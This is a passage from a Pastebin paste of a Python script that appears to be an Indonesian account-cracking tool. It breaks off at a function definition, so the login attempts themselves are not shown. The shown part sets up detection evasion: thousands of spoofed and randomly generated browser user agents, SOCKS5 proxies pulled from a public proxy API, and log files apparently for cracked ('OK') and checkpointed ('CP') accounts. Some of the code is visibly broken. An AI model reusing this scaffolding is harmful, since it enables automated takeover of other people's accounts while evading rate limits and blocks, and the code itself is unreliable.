OBF-XIn

125.166.8.173-/sdcard/SCRIPT PRIBADI/spoky404.py.py

May 29th, 2023
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 66.68 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.table import Table as me
  5. from rich.console import Console as sol
  6. from bs4 import BeautifulSoup as sop
  7. from bs4 import BeautifulSoup as parser
  8. from concurrent.futures import ThreadPoolExecutor as tred
  9. from rich.console import Group as gp
  10. from rich.panel import Panel as nel
  11. from rich.panel import Panel
  12. from rich.tree import Tree
  13. from rich.table import Table
  14. from rich import print as cetak
  15. from rich.markdown import Markdown as mark
  16. from rich.columns import Columns as col
  17. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  18. from concurrent.futures import ThreadPoolExecutor as tred
  19. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn,TransferSpeedColumn,DownloadColumn
  20. from rich import print as prints
  21. from rich import pretty
  22. from rich.text import Text as tekz
  23. from time import time as cok
  24. #==========Random User Ugent==========#
  25. #user_agent=['Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/94.0.4606.41 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/94.0.4606.20 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/94.0.4589.2 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/94.0.4606.50 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.992.38 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.98 Mobile Safari/537.36 OPT/2.9','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/95.0.4636.2 Mobile Safari/537.36','Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/95.0.4621.0 Mobile Safari/537.36']
  26. "Mozilla/5.0 (Linux; Android 7.0; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36 [ip:109.118.118.23]"
  27. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.69 Mobile Safari/537.36 YaApp_Android/11.01 YaSearchBrowser/11.01"
  28. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW; ru-ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.7.2.51367AP"
  29. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW; ru-ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.6.1.51244AP"
  30. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Mobile Safari/537.36 YaApp_Android/10.51 YaSearchBrowser/10.51"
  31. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/96.0.4664.51 Mobile Safari/537.36"
  32. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/96.0.4647.2 Mobile Safari/537.36"
  33. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/7.0 Chrome/97.0.4652.92 Mobile Safari/537.36"
  34. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Mobile Safari/537.36 YaApp_Android/9.75 YaSearchBrowser/9.75"
  35. "Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.105 Mobile Safari/537.36 YaApp_Android/9.65 YaSearchBrowser/9.65"
  36. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/95.0.4626.1 Mobile Safari/537.36"
  37. "Mozilla/5.0 (Linux; U; Android 8.0.0; de-de; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36 PHX/9.3"
  38. "Mozilla/5.0 (Linux; Android 11; Infinix X6816D Build/RP1A.201005.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  39. "Mozilla/5.0 (Linux; Android 11; Infinix X6812) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36"
  40. "Mozilla/5.0 (Linux; Android 11; Infinix X689B Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.132 Mobile Safari/537.36"
  41. "Mozilla/5.0 (Linux; Android 8.1.0; Infinix X650 Build/O11019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/70.0.3538.110 Mobile Safari/537.36"
  42. "Mozilla/5.0 (Linux; Android 11; Infinix X697 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.101 Mobile Safari/537.36"
  43. "Mozilla/5.0 (Linux; Android 12; Infinix X663) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36"
  44. "Mozilla/5.0 (Linux; Android 11; Infinix X693 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  45. "Mozilla/5.0 (Linux; Android 11; Infinix X695) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.126 Mobile Safari/537.36"
  46. "Mozilla/5.0 (Linux; Android 10; Infinix X690 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36"
  47. "Mozilla/5.0 (Linux; Android 12; Infinix X672 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.132 Mobile Safari/537.36"
  48. "Mozilla/5.0 (Linux; Android 12; Infinix X676C Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36"
  49. "Mozilla/5.0 (Linux; Android 12; Infinix X670 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  50. "Mozilla/5.0 (Linux; Android 11; Infinix X6815) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Mobile Safari/537.36"
  51. "Mozilla/5.0 (Linux; Android 10; Infinix X687 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  52. "Mozilla/5.0 (Linux; Android 12; Infinix X6821 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/105.0.5195.136 Mobile Safari/537.36"
  53. "Mozilla/5.0 (Linux; Android 7.0; Infinix HOT 4 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36"
  54. "Mozilla/5.0 (Linux; Android 10; Infinix X680B Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/102.0.5005.78 Mobile Safari/537.36"
  55. "Mozilla/5.0 (Linux; Android 11; Infinix X6815) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.104 Mobile Safari/537.36"
  56. "Mozilla/5.0 (Linux; Android 11; Infinix X6810 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/109.0.5414.117 Mobile Safari/537.36"
  57. "Mozilla/5.0 (Linux; Android 11; Infinix X6811 Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/90.0.4430.210 Mobile Safari/537.36"
  58. "Mozilla/5.0 (Linux; Android 5.1; Infinix-X600-LTE Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
  59. "Mozilla/5.0 (Linux; Android 5.1; Infinix NOTE 2 LTE Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
  60. "Mozilla/5.0 (Linux; Android 11; Infinix X689C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  61. "Mozilla/5.0 (Linux; Android 12; Infinix X677 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36"
  62. "Mozilla/5.0 (Linux; Android 12; Infinix X671B Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  63. "Mozilla/5.0 (Linux; Android 12; Infinix X6820 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  64. "Mozilla/5.0 (Linux; Android 8.1.0; Infinix X620) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Mobile Safari/537.36"
  65. "Mozilla/5.0 (Linux; Android 8.1.0; Infinix X620B Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.132 Mobile Safari/537.36"
  66. "Mozilla/5.0 (Linux; Android 12; Infinix X676B Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36"
  67. "Mozilla/5.0 (Linux; Android 10; Infinix X657B Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/80.0.3987.99 Mobile Safari/537.36"
  68. "Mozilla/5.0 (Linux; arm; Android 12; Infinix X6823C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 YaSearchBrowser/23.33.1 BroPP/1.0 YaSearchApp/23.33.1 webOmni SA/3 Mobile Safari/537.36"
  69. "Mozilla/5.0 (Linux; Android 12; Infinix X6515 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/113.0.5672.76 Mobile Safari/537.36"
  70. "Mozilla/5.0 (Linux; Android 10; TECNO LC8 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36"
  71. "Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36"
  72. "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A Build/N2G47H; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Mobile Safari/537.36"
  73. "Mozilla/5.0 (Linux; Android 9; Redmi 6A Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36"
  74. "Mozilla/5.0 (Linux; Android 12; Redmi Note 9 Pro Max Build/SKQ1.211019.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36"
  75. uas_random = (["Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 Mobile Safari/537.36 YaApp_Android/10.41 YaSearchBrowser/10.41","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.82 Mobile Safari/537.36 YaApp_Android/11.10 YaSearchBrowser/11.10","Mozilla/5.0 (Linux; Android 7.0; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 YaApp_Android/10.44 YaSearchBrowser/10.44","Mozilla/5.0 (Linux; Android 7.0; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.93 Mobile Safari/537.36 YaApp_Android/9.80 YaSearchBrowser/9.80","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.143 Mobile Safari/537.36 YaApp_Android/10.30 YaSearchBrowser/10.30","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36 YaApp_Android/9.50 YaSearchBrowser/9.50"])
  76. "Mozilla/5.0 (Linux; U; Android 7.0; nl-be; SM-A520F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.132 Mobile Safari/537.36 PHX/9.3"
  77. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/96.0.4640.2 Mobile Safari/537.36"
  78. "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.2 Chrome/97.0.4669.77 Mobile Safari/537.36"
  79. uas_random2 = (["Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36 YaApp_Android/10.70 YaSearchBrowser/10.70","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 Mobile Safari/537.36 OPT/2.9","Mozilla/5.0 (Linux; Android 8.0.0; SM-A520F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36 YaApp_Android/10.44 YaSearchBrowser/10.44"])
  80. #------------------[ USER-AGENT ]-------------------#
  81. pretty.install()
  82. CON=sol()
  83. ugen=[]
  84. ugen2=[]
  85. proxxy=[]
  86. dump=[]
  87. cokbrut=[]
  88. ngentott = []
  89. ses=requests.Session()
  90. princp=[]
  91. try:
  92.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=100000&country=all&ssl=all&anonymity=all').text
  93.     open('.prox.txt','w').write(prox)
  94. except Exception as e:
  95.     exit(e)
  96. ###----------[ USER AGENT 1 ]----------###
  97. for agenku in range(10000):
  98.     a='Mozilla/5.0 (Linux: Android'
  99.     b=random.randrange(1, 9)
  100.     c=random.randrange(1, 9)
  101.     d='BASARI-ID'
  102.     e=random.randrange(100, 9999)
  103.     f='Applewebkit/537.36 (KHTML.like Gecko) Version/4.0 Chrome/'
  104.     g=random.randrange(1, 9)
  105.     h=random.randrange(1, 4)
  106.     i=random.randrange(1, 4)
  107.     j=random.randrange(1, 4)
  108.     k='Mobile Safari/537.36 OPT/1.14.51'
  109.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  110.     ugen.append(uaku)
  111.    
  112. ###----------[ USER AGENT 2 ]----------### 
  113.     aa='Mozilla/5.0 (Linux; Android'
  114.     b=random.choice(['6','7','8','9','10','11','12'])
  115.     c='moto g stylus 5G (2022) Build/S2SDS32.21-85-3-2-1-1; wv) '
  116.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  117.     e=random.randrange(1, 999)
  118.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  119.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  120.     h=random.randrange(73,100)
  121.     i='0'
  122.     j=random.randrange(4200,4900)
  123.     k=random.randrange(40,150)
  124.     l='Mobile Safari/537.36'
  125.     uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
  126.     ugen2.append(uaku2)
  127.    
  128.     aa='Mozilla/5.0 (Windows NT'
  129.     b=random.choice(['6','7','8','9','10','11','12'])
  130.     c=' Win64; x64)'
  131.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  132.     e=random.randrange(1, 999)
  133.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  134.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  135.     h=random.randrange(73,100)
  136.     i='0'
  137.     j=random.randrange(4200,4900)
  138.     k=random.randrange(40,150)
  139.     l='Safari/537.36'
  140.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  141.     ugen2.append(uaku2)
  142.    
  143.     a='Mozilla/5.0 (Windows NT'
  144.     b=random.choice(['6','7','8','9','10','11','12'])
  145.     c='WOW64)'
  146.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  147.     e=random.randrange(1, 999)
  148.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  149.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  150.     h=random.randrange(73,100)
  151.     i='0'
  152.     j=random.randrange(4200,4900)
  153.     k=random.randrange(40,150)
  154.     l='Safari/537.36 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54'
  155.     uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}')
  156.     ugen2.append(uaku2)
  157.    
  158.     aa='Mozilla/5.0 (Linux;'
  159.     b=random.choice(['7.0','8.1.0','9','10','11','12'])
  160.     c=random.choice(['Android 8.1.0; 9; CPH1825)P259E)'])
  161.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  162.     e=random.randrange(1, 999)
  163.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  164.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  165.     h=random.randrange(80,103)
  166.     i='0'
  167.     j=random.randrange(4200,4900)
  168.     k=random.randrange(40,150)
  169.     l='Mobile Safari/537.36 '
  170.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  171.     ugen2.append(uaku2)
  172.  
  173. for x in range(10):
  174.     a='Mozilla/5.0 (Linux; Android'
  175.     b=random.randrange(100, 9999)
  176.     c=random.randrange(100, 9999)
  177.     d='V2111'
  178.     e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  179.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  180.     g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  181.     h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  182.     i=random.randrange(1, 9)
  183.     j='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  184.     k=random.randrange(1, 9)
  185.     l=random.randrange(1, 9)
  186.     m='Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/401.0.0.24.77;]'
  187.     uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
  188.    
  189.     a=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  190.     b=random.choice(['3','4','5','6','7','8','9','10','11','12','13'])
  191.     c=random.randrange(73,100)
  192.     d=random.randrange(4200,4900)
  193.     e=random.randrange(40,150)
  194.     uak=f'Mozilla/5.0 (Linux; Android {a}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  195. def uaku():
  196.     try:
  197.         ua=open('ua2.txt','r').read().splitlines()
  198.         for ub in ua :
  199.             ugen.append(ub)
  200.     except:
  201.         a=requests.get('https://github.com/SYAHX FORCE/SYAH/blob/main/ua2.txt').text
  202.         ua=open('.ua2.txt','w')
  203.         aa=re.findall('line">(.*?)<',str(a))
  204.         for un in aa:
  205.             ua.write(un+'\n')
  206.         ua=open('.ua2.txt','r').read().splitlines()
  207. ua = random.choice(['Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.87 Mobile Safari/537.36',
  208. 'Mozilla/5.0 (Linux; Android 10; SM-G996U Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36',
  209. 'Mozilla/5.0 (Linux; Android 10; SM-G980F Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.96 Mobile Safari/537.36',
  210. 'Mozilla/5.0 (Linux; Android 6.0; iCherry C233 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36',
  211. 'Mozilla/5.0 (Linux; Android 11; RMX2061 Build/RKQ1.201112.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.4606.85 Mobile Safari/537.36',
  212. 'Mozilla/5.0 (Linux; Android 12; vivo 1907 Build/SP1A.210812.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36',
  213. 'Mozilla/5.0 (Linux; Android 13; CPH2451 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.135 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/413.0.0.30.104;]',
  214. 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
  215. 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
  216. 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]',
  217. 'Mozilla/5.0 (Linux; Android 4.4.4; en-au; SAMSUNG SM-N915G Build/KTU84P) AppleWebKit/537.36 (KTHML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)',
  218. 'Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 10; M2006C3MG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36',
  219. 'Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36']);
  220. #------------[ INDICATION ]---------------#
  221. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  222. cokbrut=[]
  223. uadia, uadarimu = [],[]
  224. pwpluss,pwnya=[],[]
  225. #------------[ WARNA-COLOR ]--------------#
  226. P = '\x1b[1;97m'
  227. M = '\x1b[1;91m'
  228. H = '\x1b[1;92m'
  229. K = '\x1b[1;93m'
  230. B = '\x1b[1;94m'
  231. U = '\x1b[1;95m'
  232. O = '\x1b[1;96m'
  233. N = '\x1b[0m'    
  234. Z = "\033[1;30m"
  235. sir = '\033[41m\x1b[1;97m'
  236. x = '\33[m' # DEFAULT
  237. m = '\x1b[1;91m' #RED +
  238. k = '\033[93m' # KUNING +
  239. h = '\x1b[1;92m' # HIJAU +
  240. hh = '\033[32m' # HIJAU -
  241. u = '\033[95m' # UNGU
  242. kk = '\033[33m' # KUNING -
  243. b = '\33[1;96m' # BIRU -
  244. p = '\x1b[0;34m' # BIRU +
  245. mer = '\033[1;31m'
  246. kun = '\033[1;33m'
  247. hijo = '\033[1;32m'
  248. biru = '\033[1;34m'
  249. ung = '\033[1;35m'
  250. puti = '\033[1;37m'
  251. bira = '\033[1;36m'
  252. asu = random.choice([m,k,h,u,b])
  253. ###----------[ WARNA PRINT RICH ]---------- ###
  254. M2 = "[#FF0000]" # MERAH
  255. H2 = "[#00FF00]" # HIJAU
  256. K2 = "[#FFFF00]" # KUNING
  257. B2 = "[#00C8FF]" # BIRU
  258. P2 = "[#FFFFFF]" # PUTIH
  259.  
  260. ###----------[ CEK WARNA TEMA ]---------- ###
  261. try:
  262.     file_color = open("data/theme_color","r").read()
  263.     color_text = file_color.split("|")[0]
  264.     color_panel = file_color.split("|")[1]
  265. except:
  266.     color_text = "[#00FF00]"
  267.     color_panel = "#00C8FF"
  268. #--------------------[ CONVERTER-BULAN ]--------------#
  269. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  270. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  271. tgl = datetime.datetime.now().day
  272. bln = dic[(str(datetime.datetime.now().month))]
  273. thn = datetime.datetime.now().year
  274. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  275. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  276.  
  277. ###----------[ GET TIME ]---------- ###
  278. def waktu():
  279.     now = datetime.now()
  280.     hours = now.hour
  281.     if 4 <= hours < 12:timenow = "good morning"
  282.     elif 12 <= hours < 15:timenow = "good afternoon"
  283.     elif 15 <= hours < 18:timenow = "good evening"
  284.     else:timenow = "good night"
  285.     return timenow
  286. #------------------[ MACHINE-SUPPORT ]---------------#
  287. def dhanz(u):
